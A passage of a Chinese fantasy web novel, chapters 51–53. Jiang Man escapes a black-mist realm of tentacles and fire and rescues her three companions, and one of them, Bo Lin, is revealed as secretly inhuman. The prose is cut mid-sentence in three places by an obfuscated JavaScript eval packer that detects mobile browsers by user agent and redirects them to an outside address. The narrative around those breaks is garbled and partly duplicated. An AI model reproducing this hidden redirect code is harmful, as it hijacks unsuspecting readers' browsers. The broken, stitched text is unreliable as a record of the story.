什么都没有,又像什么都有,毕竟,黑暗,是无,也是有。 这个黑乎乎的家伙到底是个什么东西? 幻觉?从进入十九层开始,这一切都是幻觉?还是说,白天看到的,才是幻觉? 姜满的手还有些发抖,她抬手揉了揉眼睛。 难道这次躺了半个月的伤势太严重了,所以,她的眼睛……不好用了?不,就算眼睛不好用,她也抓到了。 她看向自己的手,虽然什么也看不见。 手不会骗她,痛觉也不会骗她,她分明亲手抓到它了,然后……才会疼成那样,可是,为什么会…… 姜满用力摇了摇头,现在不是想这些的时候。 她沉下心来,闭上眼缓缓深吸一口气,再睁开眼时,她“看”到了那些微弱的生命力。 人类的视力需要经眼球折光后聚焦于视网膜,而姜满的眼睛,“看”这些生命力,不需要折光聚焦,或者说,她不需要看,这是一种难以形容的感觉,起初,像是专门为防止她刚苏醒就再度成[空]的,然后,随着对记忆的留恋愈深,对成[空]的恐惧愈甚,这种感觉逐渐成为了她的本能。 逆循着黎佳宁弄出来的微弱生命力的踪迹,姜满在黑暗中缓慢的走着,脚下没有什么实感,高高低低,轻浮飘忽,也许……很像走在云上。 不过她毕竟没上过天,准确的说,没试过走在天上,所以她也不确定,云是什么脚感。 这里没什么味道,甚至感觉还……挺干净的,也不知道外面那些它留下的粘液是哪儿来的。 这里显然已经不是那两间打通的公寓了,和姜满预料中一样,这里空间很大,大到无法估量,走起来…… 真他妈的没完没了! 姜满停下脚步,微微俯身,双手撑在膝盖上,算是休息了。 她实在,需要休息一会儿。 离这三个蠢货到底还有多远?这样下去,岂不是要走到天亮? 这些虫子可真行啊,哪儿都能活,能活就一直飞,飞得快慢也无所谓,当然,它们可能也不会有什么无不无所谓…… 姜满“看”着这些零星的、微弱的生命力,目光忽然顿住了。 下一瞬,她的视线微微偏开,像什么异样都没有过。 可惜,没有光,她就没有人类的视力,即便用纸人寻踪,她也看不见它,不止如此,这里也没有声音,她试过了,连自己的声音都显得又闷又远,更别说在这里喊人了。 唯一的办法,竟然只有走,甚至还得庆幸有黎佳宁的虫子,否则,走都不知道往哪儿走。 不过,巫玄控制虫子靠的是什么?据她所知,并不是视觉听觉,应该是一种心应,所以,照理说,黎佳宁他们,应该找过来了才对啊,可她,没有看到任何属于人的生命力…… 难道…… 姜满摇摇头。 不可能,至少张云汉不可能会有事。 进门之前教训张云汉的时候,她在他手腕上施了法,无论他遇到什么危险,她都能感应到。 这时间里,姜满想不出别的办法,她休息了一会儿,正要继续走,却发现,脚……动不了! 好像被强力胶粘住了一样。 随着她的用力,脚下竟然在塌陷,像是流沙,土壤液化形成的流沙,她整个人开始不受控制的陷落。 是踩到了陷阱?还是……这里本就是一片“停止即陷落”的“沼泽”? 无法挣扎,这样的情况,姜满的力量只会使她陷得更快,可谁逃得过本能呢?她出于本能的奋力挣扎,须臾间,急促的呼吸出现滞涩感,仿佛整个人被吸入某个真空环境,肺压缩到极致,空气被抽干,沉浸于窒息的痛苦中,姜满被未知吞噬。 不过一瞬,空气重新涌入口鼻。 姜满无暇顾及其他,大口呼吸着,几息间一切恢复正常,就好像刚才的窒息是幻觉一般。 耳边传来哭声,四周并不算亮,却有些晃眼,她适应着光线,看清眼前,却不禁皱起眉头。 搞什么名堂? “……掌门……啊……我好想你啊……” “……爸爸……妈妈……呜呜呜……” 号啕大哭的张云汉,陷入巨大悲伤的黎佳宁,还有,晕倒在地的薄临。 这是一间灰色的房子,像一户再普通不过的楼房住宅,是那种没有楼梯的复式公寓,天花板很高,有门,有窗,墙壁和地板都被某种特殊涂料漆成光滑的灰色,其他的,什么都没有,空荡荡的。 窗外灰蒙蒙的,但是有光,照亮了屋子里三个不正常的人。 不正常的不止行为状态,还有……影子,包括她的。 光滑的灰色地板上投射出的倒影,无论是哭泣的张云汉、黎佳宁,还是昏迷的薄临,他们脚下属于他们的影子,好像不属于他们了,而姜满,她的脚下是空的,这里没有她的影子。 姜满先走到昏迷的薄临身旁,伸手探了探他的鼻息,轻轻摇了摇他,“薄先生?” 薄临没有反应,气息也很弱,但他的影子似乎在挣扎,好像有人扼住了他的喉咙,影子捂住自己的脖子,奋力挣扎。 姜满转身推了推仍在对“掌门”诉说思念的张云汉,他也没有反应,像是完全感觉不到外界一样,哭嚎着。 他的影子,在伸手探索,像是处于黑暗中的人,试图摸索出自己所在。 不出意外,黎佳宁也是一样,感觉不到姜满的存在,她的影子则蹲在地上,找着什么东西。 所以这三个人……陷入了不同的幻觉,独属于他们自己的,类似最深刻的记忆,所构建的幻觉。 那么,影子呢?是怎么回事? 对于幻觉,张云汉和黎佳宁倒是好理解,一个对如父如母的天一道掌门,一个对父母。薄临呢?最深刻的记忆……难道源于他的虚弱,家族的诅咒?也就是,会死? 也对,像他这种有钱人,最怕的应该就是死亡,亲眼见证过的死亡,落在了自己身上、吗? 人一旦觉得自己快死了,或是已经死了,便再也走不出幻觉了。 真是麻烦! 姜满不再理会哭泣的两个人,走到薄临身旁,揪住他的衣领,把他拎了起来,“薄先生!薄临!醒醒!你没死!别做梦了!快醒醒!薄先生!薄……” 她看见倒影里他的脸,脑海中忽然闪过一个画面,模糊不清,说是画面,更像是虚影,那虚影的模样,和薄临的脸竟逐渐重叠,或者说,和地上影子里薄临的脸重叠,让她晃了神。 刺痛感有了先兆,像被针扎了一下,姜满立刻抛开一切思绪,从包里拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜满用手帕擦拭着脸,“比如现在,正常人应该会关心:‘我现在在哪儿’、‘我为什么会在这儿’、‘我会遇到什么危险’,以及,‘我要怎么出去’……你呢?你的反应,是给我递了块手帕。” 薄临微笑着看她,“你刚刚说了很多‘我’,或许,‘我’对我来说,没有‘你’重要呢?” 姜满盯着他的眼睛,试图找出些破绽,“存在这种可能吗?我又不是你的家人,不过萍水相逢,何至于?” “当然存在,恩人超脱凡俗,可能不知道,人世间还有一种超越亲情的存在,可以叫人舍生忘死,叫做,爱。” 姜满移开视线,嗤笑一声,“你还是尽快想想你有什么愿望吧,不然,或许很快,我还没满足许给你的那一个愿望,就消失了,到时候,你就是人财两空。” 她也不知道自己为什么在这种地方和他闲扯这些,不过,薄临这个人,真是越来越可疑了。 “消失?你,为什么会消失?” 姜满看看他,“我……身上有一种诅咒,一旦我做了某件事,就会消失,然后重新出现在一个地方,就像……你呢?我好像从来没听你说过你的父亲。” 他的声音好像存在某种魔力,让她不由自主,解释,发问,可以把这些归结于,闲扯。 “你从没问过,但只要是你想知道的,我都可以告诉你。” 姜满回过神来,“我不想知道,我现在要唤醒他们两个,你小心——” “小心!”薄临忽然抱住她,转了个方向,替她挡住了来自于她背后的攻击。 时间好像在这一瞬间走得很慢。 嘀——嗒…… 血滴落在光滑干净的灰色地板上。 刺进他身体的,是一只笔,握着笔的人,是张云汉。 薄临再次倒在姜满怀里,看着她因为震惊而睁大的双眼,笑道:“那个愿望,我想好了……爱我吧,别爱满文卓,爱、我吧……” 51. 第一座山(51) 在姜满这一次近五十年的记忆里,因为不老不死,她总是在替别人挡住危险,或是在后悔,没有能替别人挡住危险,受伤对她而言,就像吃饭睡觉一样寻常,她从没想过,有朝一日,竟然有个疯子,替她挡住了危险。 “你疯了吗?”姜满捂住他背后的伤口,“我是不死的!你替我挡什么!” 薄临仍旧笑着,“可是,你会疼啊……” “什么?” “你会、疼……即便你、不说……我也知道……你、会疼……” “你——”姜满气得说不出话来,还好凶器是笔,还好伤得是背,伤口不算深,不然,他要是死了,算在她头上,那她岂不是倒了大霉? “张云汉,你是,想死吗?” 她抬头瞪向“凶手”。 张云汉握着笔,笔尖滴着血,他还在抽泣着,神情却有些呆滞。 地上的影子没有消失,那个影子张云汉仍在四处摸索,只是看起来比刚才要着急了许多。 姜满烦躁地闭了闭眼,正要起身唤醒张云汉,却看见黎佳宁也动了。 黎佳宁缓缓站了起来,双手虚空翻转,紧接着,悉悉索索的声音传来,姜满心里升起一阵不祥的预感。 嗡…… 无数飞虫朝姜满和薄临涌来。 完了!还真是怕什么来什么! 姜满来不及细想,拽起薄临就跑。 对她而言,这里最难对付的就是黎佳宁。如非必要,她是真的不愿意和这些巫玄作对,她无法保证不杀死一只虫子,这种最微小的,也是她最怕的记忆体…… 早知如此,她应该第一个叫醒黎佳宁才对! 真是麻烦,为什么要带黎佳宁这么危险的人物到这儿来?就黎佳宁那个开门方法,还不如她踹一脚简单! 对,踹一脚。 来到这间灰色屋子门口的姜满,一脚踹开了门,带着薄临就冲了出去。 刚出门,脚下陡然一空,二人重重摔在了地上,不,准确的来说,是天花板上。 门外不是门外,而是一间颠倒的屋子。 姜满抬起头,看见了张云汉和黎佳宁的……头顶。 不仅是一间颠倒的屋子,是颠倒的,刚刚那间屋子! 这种空间的错乱对于人来说,是怪异的,不正常的,但虫子并不会在意这些,它们接收到主人的命令,它们也不会在意主人的精神状态是否正常,它们只知道,攻击。 姜满拉起薄临正准备继续跑,薄临却瘫坐了下来。 “对不起……我、可能……需要、休息……一下……” 薄临看起来不太好,他的伤口虽然不大,但也不是能自己愈合的小划痕,是个血洞,他在流血,加之剧烈的奔跑和突然的摔落,他的伤似乎更严重了。 虫子已然蜂蛹而来,姜满为了避开虫子,不得不松了手,一个翻滚,却与薄临拉开了距离,只是,这一离远,姜满发现了: 它们,只攻击她,并不伤害薄临。 姜满皱起眉头,一边躲避虫子,一边寻机拉起薄临。 不能把他留在这间颠倒的房子里,她要把他送回原来那个房间,然后叫醒那两个人,即便来不及叫醒,她自己一个人跑也容易些。 可是,这他妈到底是什么鬼地方? 黑雾、触须、流沙、灰房间、影子、颠倒…… 姜满在这颠倒的天花板上跑得气喘不止,头顶上,张云汉在哭,黎佳宁仍旧正对着刚才姜满站的地方,释放她的虫子。 真不明白,她哪来这么多虫子? 啊……好累…… 跟一群虫子赛跑,显然是不可行的,但是除了跑,姜满没有别的办法。 奔跑的过程中,她的大脑飞速运转着,她看向手里的刀,又看向高处的窗户,没有时间犹豫,她找准角度后,划破指尖,用力掷出小刀。 哗啦—— 窗玻璃碎了,碎片掉落,姜满又跑了一圈,拾起一块玻璃碎片,一边跑一边在碎玻璃上用血画了破障符,随即跑到薄临身边,将那块玻璃丢给了他。 接住碎玻璃的薄临还没来得及开口问什么,身体就被姜满拎了起来,接着脚下腾空,他觉得自己好像飞起来了。 姜满加速奔跑着,接着,把薄临像沙袋一样甩了出去,扔向那扇刚才进来的门。 “回到那扇门里!把这块玻璃上的血迹印在张云汉和黎佳宁眉心!要快!” 虫子离她越来越近了,她来不及看薄临到底怎么样了,也来不及回到那扇门里,奔跑中,她脚踏在墙上,借力一跃,身体撞向那扇碎裂的窗玻璃上,掉了出去。 薄临伏在门内,眼睁睁看着颠倒房间里的姜满从窗口坠落。 他身体一动,本能地想要过去拉住她,可理智让他没有这么做。 现在,还不行…… 他放下捂住伤口的手,那个血洞伤口竟在迅速愈合着,他缓缓站了起来,嘴角微扬,低声自语:“让人舍生忘死的……爱……” 那些虫子没有追出窗口,却来到了他的手边,像是受他控制,在他手中如烟如雾般,盘旋,飞舞。 “可我们,都不是人,所以……你也不会爱满文卓,不会嫁给他,对吗?” 他看着受他摆布的虫子大军,眼神逐渐冷了下来,随着他手指轻轻往下,这数不清的虫子纷纷扬扬,落在了地上,连一丝挣扎都没有的尽数死绝,成为这光滑的灰色地板上一摊如同泥土灰尘般的,尸体。 “……还真是,碍眼。” 不远处的黎佳宁似乎受到与虫子感应的影响,吐出一口血来,但神志仍未恢复。 薄临神色已然恢复如常,拿着那块碎玻璃,朝张云汉和黎佳宁走去。 - 姜满觉得自己全身的骨头都被摔散架了,恢复意识后,她看向四周。 还好,虫子没跟过来。 不知道那三个家伙怎么样了,要是失了智的张云汉和黎佳宁像攻击她那样攻击薄临,那只能算薄临倒霉了。 她想救这三个人是真的,但是相比较而言,她的记忆更珍贵。 四周一片漆黑,但不像先前那样黑到极致,隐隐约约,她能看见四周好像有无数的……那种触须,在楼道里见到的那种,黑雾触须。 “……怕虫子吗?还是为了保护他?”一个声音,遥远的声音,传到姜满耳中,“先让我试试,你到底有多大的能耐。” 姜满猛地抬头,看向空洞的黑暗。 她跳出来的那个窗口早已不知所踪,四周是无数诡异的触须,上方是空洞的黑,但,在这空洞的黑暗中,有一双眼睛,一双一直在注视着她的眼睛。 在那段进入黑雾触须后极致黑暗的路上,她也看到了这双眼睛,那时,她的视线并没有停留太久。 而此刻…… “嗯?你……能看到我?”那个声音的语气有些疑惑,像是在问姜满,但更像是自言自语。 姜满眨了眨眼睛,视线微微偏开。 而此刻,她仍不打算被那双眼睛发现。 黑雾、触须、流沙、灰房间、影子、颠倒……这里不是障眼术,也不是幻境,是那团黑怪物身体里的,未知。 像茫茫大海,看起来是水,深入其中,才发现,这里有水,也会有空气,有鱼、植物、尸骸、废墟……还有,人们仍未了解的未知。 所以,这个地方是哪里不重要,至少不是现在能考虑的事,现在,要想办法离开这儿,首先要浮出水面,然后,找到一艘船,抓住它。 可怎么才能把那三个累赘也带出去呢? 没等姜满想太多,周围的触须开始动了! 湿滑的蠕动声,缓慢而又粘腻,无数这样的声音交织在这空洞的黑暗之下,像一曲恢宏庞大又令人毛骨悚然的交响乐,它们伸展着躯体,扭动出诡异的舞姿,一齐朝着姜满的方向涌来。 是了,那双眼睛说过,要试试她的能耐,所以,怎么可能让她这么舒服的待在原地思考问题? 姜满毫不犹豫,转身就跑。 这些触须和过道里见到的黑雾触须似乎一模一样,她不确定,但万一呢?万一是一样的,手碰到,头会痛;身体碰到,会再进入一片黑暗吗?像套娃一样,无休无止的进入吗? 她怎么可能被困在这种地方?难道要等她杀死这团黑雾怪,然后成[空],才能逃脱? 关于[空],姜满还有一点莫名的十分清楚,一旦成[空],她也会变成[空],即,消失。然后,在一个新的地方出现,作为一个[空]人,重新,缓慢的、艰难的融入这个世界。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“快!我在这儿……” 张云汉和黎佳宁手忙脚乱中摸到对方的手,赶紧互相搀扶着站起来,又开始摸索薄临,“薄临!你在哪儿!我们得快点找到大长老,先起来!走起来,不然指不定又会塌的……” “闭嘴。”姜满伏在薄临怀里,剧烈运动带来的喘气,让她好不容易才平复了一些,她警觉地看着那些触须。 显然,从张云汉他们的表现和话语中可以判断,他们看不见这些触须,奇怪的是,这些触须似乎没有发现他们,也没有发现掩藏在他们中的她。 “你们看不见那些东西?” “大、大长老?”张云汉一愣,伸出手,往姜满声音的方向摸索,“看见东西?什么都没有啊!这儿黑的不行,什么都看不见!有东西吗?有、有什么东西?您、您……在哪儿呢……” 姜满转头避开张云汉的手,但这一回头,她的鼻尖几乎贴在了薄临的脸上,她清晰的看见他颤动的睫毛,可他却好像什么都看不见。 似是感觉到了贴近的喘息,温热的,轻软的,仿佛羽毛轻扫脸颊,薄临的喉头不觉轻轻滚动。 不知是有意还是无意,他微微偏头,恰好与她鼻尖交叠,相触碰的除了彼此的气息,还有她微凉的唇。 这一瞬,他几乎感觉不到时间的流逝,在视觉消失的世界里,仿佛只有他和她,不,这世界本就该这样,只有他和她,就足够了。 即便黑暗永存,光明不复,我只要你…… “薄临!大长老!我们快走吧!快离开这个什么都看不见的鬼地方!大家把手都牵起来,不然又和开始一样莫名其妙就走散——”张云汉正嚷嚷着,忽然瞪大了双眼,“你、你们怎么能在这鬼地方亲——” 在张云汉说话的同时,姜满的耳边响起了另一个声音,带着些许兴奋,属于那双眼睛的声音,“看不见吗?那我帮帮你们……” 带着红晕的光点逐渐变成火球,由远及近,照亮了整片黑暗,天空似乎在燃烧,炙热的温度离四人越来越近。 张云汉的话还没来得及说完,姜满瞬间起身,“跑!” 52. 第一座山(52) 红云滚滚,无数翻涌着浓烟的火蛇从天空俯冲而下,地上的黑雾触须也终于发现了猎物,火蛇与触须好似吞噬万物的洪荒猛兽张开巨口露出的獠牙,天地逐渐收拢,光明与黑暗相融,追逐着无处可逃的四个人。 “大长老……这,这到底……怎么回事啊……”张云汉气喘吁吁的问道。 此刻,姜满正带着另三个人穿梭在触须怪林中,即便看起来无处可逃,但夹缝中总能寻到生机,她要活着离开这里,要带着三个累赘活着出去,她没有时间理会张云汉。 “姜长老,这都不是真的吧?如果是幻觉,我们没必要躲、哎——”黎佳宁一声轻呼,崴了脚,跌倒在地。 的确,眼前这一切实在是太过荒谬,可别人或许不知道,姜满却看得很清楚,这不是幻觉,如果死在这儿,就是真的死了。 作为带路的姜满,一来跑得很快,二来选择的逃生角度实在刁钻,三个跟着她的人实在是有苦难言,黎佳宁的摔倒,是迟早,是必然。 姜满低低的喘着气,停下脚步回头看向狼狈的三人。 跌倒的黎佳宁在张云汉的搀扶下,努力想要站起来,几次都以失败告终,薄临跟在最后面,脸色很难看,三个人灰头土脸,衣衫褴褛,喘气之余,都把目光投向了姜满。 头顶的火蛇仿佛已经舔舐到了头发,热浪烧得人皮肤灼痛难忍,黑雾触须还在游走,但远没有天降火蛇的威胁大,触须拔地而起,根部粗壮,争先恐后地追逐他们之余,反倒纠结起来,这便给了他们几人时间。 “大长老,我们还要跑多——” 正看向漫天火海的姜满,忽然伸出手,挡住了即将烧着张云汉头发的火焰。 张云汉脖子一缩,反应过来后,矮下身避开火焰,随即看向姜满被烧伤的手臂,“大、大长老……” 她手臂上的皮肤血泡溃烂,血肉模糊,焦黑一片。 姜满看着手臂的烧伤,眉头微蹙。 是啊,还要跑多久? 很奇怪,她并不感觉到十分的疼痛,对这从天而降的诡异大火,她也并没有任何人类本能的恐惧,过往的记忆里,她从未接触过火,眼下,她莫名的意识到,不是因为这怪地方的火与外面不同,而是她本身,就不惧怕火。 伤口没有难以承受的疼痛,正以缓慢却肉眼可见的速度愈合,但,如果这样的伤出现在他们三个身上…… 没有时间犹豫,黑雾触须散开,几条火蛇凝成翻滚的火云,趁着触须还未追上,从四人头顶压下。 姜满立时握住天一道掌门印,随着她意念催动,那枚小小的黑符瞬间腾空! 掌门印盘旋飞升,带起一阵湿润的罡风,将铺天盖地的火云震慑于半空,紧接着,如同塑起一方半圆的玻璃罩,一道无形的灵能屏障罩住四人,隔绝了充满危险的火焰与触须。 张云汉吃惊的看着这一切,心中不免感叹:还得是大长老啊…… 黎佳宁半张着嘴,惊讶的说不出话。 但薄临显然比他们观察得更仔细,此刻神色凝重的看向姜满。 他看见了,这方“玻璃”罩,是红色的。 姜满几乎支撑不住,单膝跪地,大量的失血让她眼前发黑,可她不能倒下,要立刻,把他们三个送出去! 这鬼地方暂且称之为“黑雾领域”,目前可以知道,极黑之时,不能停住脚步,停止即陷落,会陷入未知的地方,一个于现实而言还算合理的地方,却又是错乱的空间,一旦跳出这个地方,就会再度落入黑暗。 可这片黑暗她能看见,好像只有她能看见,且,看见则会被攻击,看不见,则如同什么都不存在。 世界上所有的一切,存在即有其合理性,大多是为了维系某种规律的运转,可姜满想不出,这黑雾领域的存在,是为了什么。 也许,不是所有的问题都需要答案,就像她自己。 天空在燃烧,犹如颠倒世界里倒置的山火,熊熊烈焰中撕裂出无数火蛇,既合理又诡异。 血液在迅速蒸发,保护罩逐渐缩小。 薄临上前,握住了姜满的手,“用我的血!” 姜满看向他的手。 她的确快支撑不住了,自愈力远不及消耗来的快,血液的极速流逝让她头晕目眩,眼前越来越黑,四肢发软,力量也即将消耗殆尽,这样下去,根本来不及把他们送出去啊…… 他……真的能帮我吗?不,我不用任何人帮忙。 “不行,我现在要立刻把你们送出去,待会儿你们——” 听到薄临的话,张云汉和黎佳宁已然反应过来。 寻常术法屏障即便再高深,连符箓都没有,如何能隔绝大火?只有水可以,但显然,这鬼地方哪来的水,所以,姜满竟然用的是她的血…… 张云汉伸出手,打断了姜满的话,“大长老,用我的!” 他的眼神很坚定,但不过刹那,他又有些怂了,“那个……最好的话,还是别全用完,给我、留点。” “胆小鬼!姜长老,不,老大,用我的!” “黎佳宁!你个子矮,又是个女人,能有多少血?留着吧!我和薄临两个人顶上就行!” “你说什么?个子矮?你个子才矮!你还跟人家小薄总一起,人家多高你多高?你要不要脸?还有!女人怎么了?都是人,有什么区别!何况女人是水做的!你少废话!我们一起!一起来的,一起面对!” “好!一起!一起面对!一起出去!” 姜满抬头看着面前的三个人,忽然,垂下眼帘,笑了。 这三个累赘…… 她缓缓后退,退出了保护罩。 “恩人,你要做什么?” “大长老!你……” “老大……” 三人看着步入火海的姜满,错愕与震惊写满在脸上。 “出去吧,别回头。” 保护罩的红越来越鲜艳,它逐渐缩小,变成了一个球,把三人包裹其中,接着,缓缓升空。 用掌门印是有后遗症的,希望,这后遗症能再后一些…… “那你呢?恩人!姜满!”薄临慌忙扑在保护罩上,试图把手伸出去,却突破不了这层血色罩子。 视线已经被血色阻断,他们看不见她了。 “大长老!大长老……” …… 他们三个的声音越来越远,姜满抛出掌门印,不顾火焰灼烧,跑出几步,借力腾空跃起,全力一脚,踹在了保护罩上! 血球极速上升,穿过重重火云,穿过火云之后的极黑,终于,消失不见。 终于…… 姜满松了口气。 是了,这极黑后面,有眼睛,那么,一定有出路…… 姜满累得瘫倒在地,仰面躺着,火蛇肆虐,她衣衫已然尽毁,整个人似乎都烧起来了。 要是这样他们还出不去,就只能算他们倒霉了,她,已经尽力了。 “死了?你不是不老不死的吗?”属于那双眼睛的声音再度响起。 姜满因失血过多眼前发黑,却也隐约看见,火云逐渐散开,像是在为那双眼睛让出视线,让那双眼睛能看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117062|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 她闭上眼,勾起嘴角,“还死不了,如何?没让你失望吧?” “你……”那个声音显然很吃惊。 “嗯,我能听见你。” “你能……听见我?” 火蛇避让,黑雾触须贴了上来,一如在六合公寓十九层过道里,舔舐着姜满全身的皮肤。 大火早已使得她全身没有一寸好皮,黑雾触须的舔舐凉凉的,莫名倒使得她很舒服,那些不知何来的粘液,覆在皮肤上,似乎比烫伤药更有效。 姜满闭着眼,像闲聊一般,缓缓说道:“我之前一直在想,在那间灰房子里,为什么只有我没有影子……不过,我这个人,从不钻牛角尖,想不明白,我就不想了,就比如,六合公寓十九层为什么会有这么一团黑雾?这黑雾里又为什么如此古怪?当然,最关键的是,你,碧虚的……掌门?为什么要盯着我……呵呵,你放心,我刚说过的,想不明白,我就不想了。” “你让我知道你可以听见我,就只是,为了说这些?你到底听到多少?从什么时候开始听见的?” 姜满依旧闭着眼,“你看,其实,你想知道的,比我多,而你真正想知道的,肯定不是这些,不如你问问看,说不定,我在这里,愿意都告诉你呢?” 那个声音沉默了一会儿,似乎在斟酌姜满的话。 “……哼哼……呵呵……哈哈哈……”没过多久,那个声音忽然笑了起来,从低声轻笑逐渐变得肆意、疯狂。 闭着眼的姜满眉毛微皱,随即也扬起了嘴角,笑出了声。 听到姜满的笑声,那个声音的笑反而停了下来,“你笑什么?” 姜满扬了扬眉,“这就是你的问题?” “姜……满,我本来没打算这么早给你答案的,不过无所谓了,告诉你也无妨。你说……影子,怎么可能还有影子?影子有了自己的感情,还有了能耐,看着它挣扎、拼命,然后陷入痛苦,不是很有趣吗?哈哈哈哈……” 影子,怎么可能还有影子? 姜满尽力压抑着内心的困惑,略带鄙夷道:“姜……掌门,你的眼神似乎不太好啊,是这里太黑了吗?不然,你再仔细看看,我是谁?” 那个声音丝毫不慌,带着笑意,“人,可能会认错,但是,你不是拿着掌门印吗?天一道掌门印。” 姜满拿起重新回到她手中的掌门印,“你说这个?这不是我的,是有人给我的。” “有人给你的?谁给你的?” 姜满深吸一口气,却似乎被烟气抢到了,咳嗽不止,而后她调整了一下姿势,侧过身,沾着血在黑乎乎的地上写了几个字,然后再次躺平,“咳咳……自己看吧,我累了,你也知道,我受了不少罪,累得很,我先歇会儿。” 说完,她真的闭上了眼,呼吸逐渐趋于平稳。 火光渐散,这里重新变回那片触须怪林,在漆黑的地上,隐约有反光,但离远了,完全看不清姜满写了什么。 片刻的宁静,天空缓缓伸出一条黑雾触须,与别的黑雾触须不同的是,这条里面,有一双眼睛。 它缓缓靠近姜满,试图看清她用血写在身旁的字。 “你……妈……给……的?姜满!你——” 姜满猛地睁开眼,盯住了那双眼睛,提前用血液凝成手套包裹住的手,瞬间伸进了那条靠近她的触须之中,死死地掐住了一个人的脖子。 “抓到,你了。” “怎、怎么可能……你……” 姜满勾起嘴角,“忘了告诉你,我,不仅能听到你,还能看到。” 53. 第一座山(53) 黑雾散去,窗外晨曦的微光,驱散了所有迷惘,楼道里,两个人重新出现在楼梯上,如果没有地上那一大滩血液保护罩留下的血迹,周围平静且正常得,就好像这一夜经历的一切,是场梦,是幻觉。 “我们……出来了?大、大长老呢?大长老会没事的……她那么厉害,她肯定会没事的!对不对?”张云汉看向黎佳宁,脸上满是惊慌。 黎佳宁眨了眨眼,忍住眼泪,“我、不知道……” 张云汉的大脑飞速运转着,“是程良!这鬼东西肯定是程良养的怪物!找他!不不,找程书韫!电话、打电话……手机呢?” 黎佳宁深吸一口气,“张云汉,你先冷静……你没发现什么不对吗?” “不对?是不对,大长老怎么可能出事?她不能出事!都怪我太没用了……我还没找到掌门,我还要把她带到掌门面前!我……” “张云汉!你冷静点!你没发现薄临不见了吗?他什么时候不见的?他是不是……也没出来?” 张云汉闻言怔怔地看向黎佳宁,随即醒过神来,平复下心绪,环顾四周,“薄、薄临也没出来?” 他的脑子乱糟糟的,可不管怎么样,薄临应该是对大长老来说,很重要的人,大长老分明把他们一起送出来的,现在大长老还没出来,他要是再把薄临弄丢了…… 黎佳宁站了起来,擦了擦脸,“我们先离开这个安全通道,出去看看,说不定,那扇门里有什么线索,能帮大长老一些也好。” “对,对!不能在这儿待着,出去找找看。” 安全通道的门不知何时被关上了,二人拉开门,过道的声控感应灯亮起,整个过道出现在二人眼前,米白色的瓷砖,干净整洁的长廊,正常得让他们觉得很不正常。 二人互相看了一眼,走向那扇被虫子啃食过门框的门。 门轻轻一拉就开了,门内干净敞亮,颇具古意的雅致软装,一整面朝南的落地窗,窗外是凌晨四五点的晨光,还有苍绿起伏的葵山。 “那是……”黎佳宁指着长木桌上一个宝塔形状的小石雕问道。 二人皆非凡人,即便未开天眼,也察觉到这石塔周身,阴气森森,更值得人留意的是,细看去,石塔后面冒出淡淡的一缕烟气。 张云汉的目光没有停留太久,他更关心薄临会不会在这房子里,他心里还在隐隐期待能在这里看见大长老,所以,他只想立刻把这里的每个房间、每个角落都找个遍。 黎佳宁走近了长桌,见这石塔后面点着一根香,看这燃烧的程度,像是才点起没多久。 “这里有人来过!” 她压低声音,叫住了刚拧开大房间门把手的张云汉。 张云汉回过头来看着她,“有人来过?” “你看。”黎佳宁指了指那根香,随即环顾四周。 她记得,刚才她和张云汉从安全通道开门出来,因为安全通道的门关起来了,她特地留心看了一眼,电梯一个停在一楼,一个停在十六楼,是无人用过的样子,但看这香的燃烧程度,不可能有人来得及在他们发现之前从电梯离开的,加上据她所知,这种公寓内部可能也有安全出口的,也就是后门。 所以,有人进来过,点了香,若是没有飞天遁地的本事,那便是从后门离开了。 后门肯定是联通楼梯的,也就是…… 黎佳宁的目光移向那个小房间,随即看了张云汉一眼,二人一齐朝小房间走去。 推开小房间的房门,房间不大,一目了然。 屏风被折起靠在一边,茶桌收拾得整洁干净,右侧靠窗有一扇防盗门,门上有卷起的竹帘,门此刻半开着,显然有人从这儿离开了。 二人相视一眼,黎佳宁有些迟疑,道:“要……追吗?这里应该是通往安全通道楼梯的,看起来,这种公寓单双层的出口应该是不一样的,我估计,那个人下了楼就坐电梯了,未必……能追到。” “找薄临要紧,大长老现在生死未卜,先别生事了。” 黎佳宁点点头,表示认可。 离开小房间,张云汉径直朝大房间走去,黎佳宁却停下脚步,看向那个石塔。 这石塔放在这长桌上太过突兀,加上其周身阴气,总让她有些不放心。 “你先去找找看薄临,我看看这个石塔。” “好。” 张云汉并未想太多,伸手打开了大房间的门,这间屋子乍看之下,较之前的房间大很多,但很暗,窗帘紧闭,且目光所及之处空空荡荡,不过这里暗藏玄机,竟联通了隔壁房子,并不能一目了然,他带着希望朝那面墙与屏风隔断的后面走去。 后面的空间也很大,也是空空荡荡的,窗户被半扇窗帘遮住,显得这里较客厅要暗一些,较刚才的房间又要亮些,正好能看清…… “走,先离开这儿。”薄临抱起用窗帘包裹住的姜满,转过身来,看向张云汉。 张云汉看见二人,瞬间喜笑颜开,“薄临?太好了!太好了!大长老也出来了!太好了!” 薄临怀里的姜满浑身焦黑,但张云汉能认出来,那就是他的大长老! 难怪只有半扇窗帘,看来另半扇被薄临扯下来裹在大长老身上了,烧成这样,衣服肯定也没了,她…… “愣着做什么?还不走?”薄临抱着姜满往外走,却停在了屏风前,好像被什么挡住了,出不来。 张云汉回过神来,一抬眼,看见了一张黑符。 他深知此时不是惊疑的时候,只愣了片刻,便跳起来,摘掉了那张黑符,小心折好,收进口袋。 